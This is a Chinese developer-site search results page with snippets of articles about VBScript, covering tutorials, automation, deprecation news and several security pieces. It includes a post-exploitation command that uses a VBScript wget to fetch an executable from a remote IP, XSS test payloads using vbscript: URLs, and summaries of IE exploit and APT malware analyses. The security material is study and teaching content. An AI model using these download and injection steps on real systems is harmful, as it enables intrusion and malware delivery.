首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏全栈程序员必看

    VBScript详解(一)

    ◎Vbs脚本编程简明教程之三—Vbs的基本语法(牢记) VBScript基础知识 一、变量 1、所有单引号后面的内容都被解释为注释。 2、在VBScript中,变量的命名规则遵循标准的命名规则,需要注意的是:在VBScript中对变量、方法、函数和对象的引用是不区分大小写的。 在申明变量时,要显式地申明一个变量,需要使用关键字Dim来告诉VBScript你要创建一个变量,并将变量名称跟在其后。申明多个同类型变量,可以用逗号分隔。 4、VBScript在定义时只有一种变量类型,在实际使用中需要使用类型转换函数来将变量转换成相应的变量类型。 Cbool函数将变量转换成布尔值; Cbyte函数将变量转换为0到255之间的整数。 例如: Redim空格preserve空格array括号个数逗号维数括号 三、操作符 在VBScript运算符中,加减乘除都是我们常用的符号,乘方使用的是 ^ ,取模使用的Mod。

    7K21编辑于 2022-07-02
  • 来自专栏Revel World

    VBSCRIPT朗读文本

    Windows自带有朗读文本的API,用VBScrpt进行调用,能用来朗读文本。就是发音难听一点,缺少抑扬顿挫。

    1.4K20发布于 2020-12-08
  • 来自专栏Java架构师必看

    VBScript语言_vbs输出语句

    今天说一说VBScript语言_vbs输出语句,希望能够帮助大家进步!!! 一.VBScript语法简介 VBScript语句是一种基于VB的一种脚本语言,主要用于WEB服务器端的程序开发,我们 这里只介绍一些简单的语句,主要是操作数据库的几种常见的语句 <1>.vbscript的标识 <% 语句 …… %> <2>定义变量dim语句 <% dim a,b a=10

    2.7K30编辑于 2022-07-06
  • 来自专栏漫流砂

    FTP & VBScript & Powershell & Debug 远程传输

    VBScript 关于VBScript 这是一款脚本语言,之前很多恶意软件都会使用这个语言,甚至在启动项里面丢一个vbs脚本 在Win7之前,vbs是windows默认的脚本语言 win7之后powershell 作为了windows的默认语言 powershell有意要做到bash在Linux中的地位,在后渗透阶段,powershell可是一个利器 VBScript传输工具的思路其实就是自己写一个wget,并不是什么高端的东西 写入完成后就是执行了 cscriptwget.vbs http://192.168.123.53/whoami.exe w.exe cscript是VBScript的解释器,下载下来的文件保存为 w.exe

    2.3K10发布于 2020-08-19
  • 来自专栏游戏杂谈

    使用vbscript替换excel文件的内容

    写的时候遇到了一些问题,比如在切换写javascript、vbscript和actionscript的时候容易犯小错误,二就是对vbscript操作dom不熟悉,三就是需要找到可以让循环在跑的过程中能sleep } 28:  29: return str; 30: }</script> 1:  2:  3: <script language="<em>vbscript</em>

    2.9K20发布于 2018-11-16
  • 来自专栏Gcow安全团队

    Internet Explorer漏洞分析(三)——VBScript Scripting Engine初探

    Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探 1.本文一共1514个字 28张图 预计阅读时间10分钟2.本文作者erfze 属于Gcow 0x01 变量 VBScript中仅有一种数据类型——Variant。 图17 0x03 可用于调试时函数 IsEmpty(var)对应vbscript!VbsIsEmpty,其第三个参数对应var。一例: <! 图18 IsObject(var)对应vbscript!VbsIsObject,同样,其第三个参数对应var。一例: <! VarType(a)</script></body></html> VarType对应vbscript!

    1.4K10发布于 2021-03-19
  • 来自专栏林德熙的博客

    dotnet 使用 ClearScript 执行 VBScript 和 JS 代码 无需浏览器

    其实有的,因为 VBScript 和 JS 代码都很好解析,所以有 ClearScript 支持使用 dotnet 解析代码执行 如何将 VBScript 和 JS 代码编译为 IL 或如何在 C# 和 所以可以让一些如文件访问相关的库不要直接注入,而是注入自己封装的文件访问相关的库,解决不安全的 js 带毒的问题 先创建一个 dotnet 项目,然后通过 NuGet 安装 Microsoft.ClearScript 然后就可以在代码中运行 VBScript

    2.1K20发布于 2020-02-18
  • 来自专栏全栈程序员必看

    vbs表白代码+整人代码,抖音vbscript表白代码

    步骤二:将以下代码复制过去(中文可以改) const title = “爱情测试”

    2.6K20编辑于 2022-06-27
  • 来自专栏办公魔盒

    VB.NET jsscript和vbscript脚本之间数据传递操作

    vbscript脚本示例: ? jsscript脚本示例: ? jsscript和vbscript脚本的数据传递的方法是一样的;只是脚本里面的对象稍有不同,需要深入学习请自行百度! 操作vbscript脚本vb.net源码示例: Public Class Form1 Private Sub Button1_Click(sender As Object, e As EventArgs .Text) & vbCrLf vbs = CreateObject("MSScriptControl.ScriptControl") vbs.Language = "VBScript EventArgs) Handles Button2.Click Form2.Show() End Sub End Class 操作jsscript脚本vb.net源码示例(其实vbscript "错误行号:" & JS.Error.Line & vbCrLf & "错误列号:" & JS.Error.Column End Sub End Class vbscript

    1.6K20发布于 2019-07-22
  • 来自专栏FreeBuf

    微软计划于2024年下半年逐步弃用VBScript

    近日微软宣布将于 2024 年下半年开始弃用 VBScript,可能会先把该功能列为按需功能,后面会逐步删除。 因此,在2024年下半年发布的新操作系统中,VBScript 将以按需提供功能(FOD)的形式提供。 微软的停用计划包括三个阶段: 第一阶段将从 2024 年下半年开始,在 Windows 11 24H2 中默认启用 VBScript 作为可选功能; 第二阶段将于 2027 年左右开始,VBScript 因此,所有 VBScript 动态链接库(.dll 文件)都将被删除,使用 VBScript 的项目也将停止运行。 VBScript 过时时间表(图源:微软) 该公司在 10 月份首次透露,在作为系统组件提供了 30 年之后,它将在 Windows 中关闭 VBScript(又称 Visual Basic Script

    86010编辑于 2024-05-28
  • 来自专栏Hadoop数据仓库

    SQL Server 验证身份证合法性函数(使用VBScript.RegExp)

    保存结果 DECLARE @results BIT /* 创建 OLE 对象实例,只有 sysadmin 固定服务器角色的成员才能执行 sp_OACreate,并确定机器中有VBScript.RegExp 类库 */ EXEC @hr = sp_OACreate 'VBScript.RegExp', @objRegExp OUTPUT IF @hr <> 0 下面是'VBScript.RegExp'中常用的属性举例: Dim regEx,Match,Matches '建立变量。

    1.9K20发布于 2019-05-25
  • 来自专栏剑指工控

    微软将在Windows中弃用VBScript,组态软件大军的VBS脚本该何去何从?

    JZGKCHINA 工控技术分享平台 微软宣布弃用 VBScript并计划在未来的 Windows 版本中逐步淘汰该脚本语言。“VBScript 在从操作系统中移除之前,将作为按需功能提供。” VBScript(也称为 Visual Basic Script 或 Microsoft Visual Basic Scripting Edition)是一种类似于 Visual Basic 或 Visual VBScript可以看作是 VB 语言的简化版,它具有VB语言容易学习的特性。 笔者猜测 弃用 VBScript 的的部分原因可能是出于安全考虑。随着日益猖獗的利用各种 Windows 和 Office 功能进行感染的恶意软件活动。 恶意行为者曾使用 VBScript 将恶意软件分发到受害者的计算机上。

    1K60编辑于 2023-10-25
  • 来自专栏技术猫屋

    Microsoft VBScript 运行时错误 800a0009 下标越界: 的解决方法

    直接修改代码,将d_time_arr = Split(d_time_text,"-")改成d_time_arr = Split(d_time_text,"/") 以上,成功解决了“Microsoft VBScript

    3.1K20编辑于 2023-01-03
  • 来自专栏漏洞知识库

    那些年我们一起学XSS - 11. Dom Xss进阶 [善变iframe]

    执行代码 <iframe src="<em>vbscript</em>:msgbox(1)"></iframe> 1.4 Chrome下data协议执行代码 <iframe src="data:text/html,<script 在IE下,我们可以使用<em>vbscript</em>来执行代码。 <em>vbscript</em>里 ' 单引号表示注释,类似JS里的// http://helper.qq.com/appweb/tools/tool-detail.shtml? turl=<em>vbscript</em>:msgbox(1)'&gid=yl&cid=68&from= ? 在chrome下,我们可以用data协议来执行JS。 修复方案: 危险的不光是javascript:, <em>vbscript</em>:, data: 等同样需要过滤。

    2.4K30发布于 2019-11-20
  • 来自专栏FreeBuf

    Nebula漏洞利用包CVE-2016-0189漏洞利用分析

    CVE-2016-0189的关键知识点 CVE-2016-0189是个关于VBScript的漏洞。VBScript 脚本引擎代码在vbscript.dll 中。 2.1. VBScript的变量 VBScript 的内存变量占用0×10个字节, 前两个字节定了变量类型VARTYPE。常见类型定义如下表所示[2]。 ? 我们可以在VBScript代码中插入IsEmpty()函数,然后在windbg的vbscript!IsEmpty() 函数上设置断点来观察内存[3]。 ? 图1 调试用VBScript代码 ? VBScript的数组 VBScript 的数组的定义如下 ? 当访问数组元素时,VBScript引擎会调用 AccessArray 函数来计算元素的存放地址。 利用该技巧,我们在vbscript!

    1.9K60发布于 2018-02-24
  • 来自专栏全栈程序员必看

    mshta usage

    :window.close","vbs") mshta vbscript:window.execScript("alert('hello world!') ;close()","javascript") mshta vbscript:window.execScript("msgBox('hello world!') ;close() mshta vbscript:msgbox("hello world!" ,64,"Title")(window.close) mshta vbscript:CreateObject("Wscript.Shell").popup("hello world!" (In fact this already shows in Example 1, you must find it, it is the close command.) mshta vbscript:

    1.1K20编辑于 2022-09-14
  • 来自专栏Gcow安全团队

    Internet Explorer漏洞分析(三)[下]——CVE-2014-6332

    版本:5.8.7601.17514 0x02.2 前置知识 请移步Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探。 图23 但其仍存储的是vbscript!CScriptEntryPoint对象,其后赋值给i。On Error Resume Next在此处尤为重要,是否加入该语句执行情况对比: ? 图30 关于此处的调试可于vbscript! 图35 该地址为vbscript!COleScript对象: ? 图36 通过循环于该对象偏移0x120之后搜寻0x0E,该值用于检查是否处于SafeMode: ? 图38 myarray起始地址为0,rgsabound.cElements为0x7fff0000,故可读写vbscript!COleScript+0x170处内容: ?

    1.3K20发布于 2021-03-22
  • 来自专栏FreeBuf

    钓鱼引发的APT攻击回溯 | C&C服务器位于韩国,whois注册却在中国上海

    奇怪的是,可疑文档似乎是由一个名为Geocities的公共博客网站提供了一个多层嵌套的base64编码的VBScript脚本,下图是手工解码的结果: ? 图1. “powershell.exe” 命令编码得到的VBScript 通常VBScript的“createbject”指令都会跟在 Powershell 命令“powershell.exe -w hidden VBScript base 64解码代码 在多层循环解码base 64编码后,结果很明显的:附加于Word附件文档,隐藏在VBScript文件中,存在一个长且危险的脚本,随时可由Powershell执行 复制、粘贴 Powersploit/CodeExecution PoC 运行Powershell命令的VBScript存在一处代码,该代码就是基于臭名昭著的恶意软件Powershell PowerSploit 图8.对 Poison Ivy 恶意软件的C&C服务器WHOIS 结论 这个APT攻击使用了多种变体,它先是欺骗受害者下载一个恶意VBScript,让这个VBScript去下载一个.doc文件并打开它。

    2.3K90发布于 2018-02-23
  • 来自专栏哆哆Excel

    在VBA中,如何应用正则表达式

    (一)正则表达式有什么方法与属性 在VBA中,正则表达式可以使用VBScript Regular Expressions库来实现。 以下是VBScript Regular Expressions库中常用的一些方法和属性: 1.Pattern属性:用于设置或获取正则表达式的模式。 As String Dim strReplace As String ' 创建一个正则表达式对象 Set regEx = CreateObject("VBScript.RegExp Dim strPattern As String Dim strReplace As String ' 创建一个正则表达式对象 Set regEx = CreateObject("VBScript.RegExp Function myExtract(myStr As String, flag As Integer) Application.Volatile With CreateObject("VBSCRIPT.REGEXP

    2.2K10编辑于 2024-01-19
  • 来自专栏小孟开发笔记

    PHP常用代码大全

    =$password1) { echo "<SCRIPT language=JavaScript>alert('密码和确认密码不一致');"; echo"this.location.href='vbscript =6) { echo "<SCRIPT language=JavaScript>alert('请正确输入邮编');"; echo"this.location.href='vbscript:history.back ;"; echo "this.location.href='vbscript:history.back()';</SCRIPT>"; } if ($textarea=="") { echo "<SCRIPT ;"; echo "this.location.href='<em>vbscript</em>:history.back()';</SCRIPT>"; } if ($textarea=="" or strlen(textarea )>150) { echo "<SCRIPT language=JavaScript>alert('个人说明为150个字符');"; echo"this.location.href='vbscript:

    3.5K20编辑于 2023-02-20
领券